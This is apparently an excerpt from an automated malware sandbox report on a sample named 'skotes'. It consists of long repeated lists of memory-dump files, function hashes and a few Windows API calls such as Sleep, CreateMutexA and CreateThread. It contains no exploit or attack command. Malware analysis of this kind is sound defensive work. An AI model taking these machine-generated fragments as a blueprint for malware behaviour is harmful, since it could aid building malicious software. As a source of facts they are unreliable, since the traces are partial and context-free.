                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 271e85f9ec3ecf58b5a98c4f08eb1d6a5f912825c77d4d6bf045845ae3fa2a6b
                                                                                                                                                                                                                                                                                    • Instruction ID: 936889114c5eb6f74034bdfa28849ee58e2cb4e86b56908d95e24a0996ddd404
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 271e85f9ec3ecf58b5a98c4f08eb1d6a5f912825c77d4d6bf045845ae3fa2a6b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6C317931B80100CBEB08DB78DD89B6DB772EFC5316F648718E8249F2D1C77699898712
                                                                                                                                                                                                                                                                                    Function 00186E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: bb4d9b916e3d82f5434e3c6fe823c4c58de4c497613094502282bfd3a23f3bda
                                                                                                                                                                                                                                                                                    • Instruction ID: bfd0f811e56dd55074a8b1f0613b9e9b0e581046b344428e3d0bd3221b5a4850
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bb4d9b916e3d82f5434e3c6fe823c4c58de4c497613094502282bfd3a23f3bda
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4E21B6729051086BEB11BB68AC42B9F3769DF42378F210215FA242B1D1DB70DF059FA1
                                                                                                                                                                                                                                                                                    Function 0015A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 439b709cd2745a6f0e6fe6aa2396f536a9ebbcda0e16782fb96d3f7b9eb9a8ce
                                                                                                                                                                                                                                                                                    • Instruction ID: d9d328b26c0700e48cfd3cbbeae0d62f03c537b4d65eb8e9a6815ef19c842bc1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 439b709cd2745a6f0e6fe6aa2396f536a9ebbcda0e16782fb96d3f7b9eb9a8ce
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E0E07D112D8300D6FE0033A96946B2D2247CFD1706F710A30EB24CA0C0C7D055995133
                                                                                                                                                                                                                                                                                    Function 00166D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00166D11
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00007530), ref: 00166D25
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateSleepThread
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 4202482776-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 36f2853b00152e3e18b01177647cd4fb1465d650fc247e07f29b36d6ac0216a7
                                                                                                                                                                                                                                                                                    • Instruction ID: 2b03ad84898bc48d1d0a61919f5f4d4fef86dff6f06a5d2edfe82d7a59424dd0
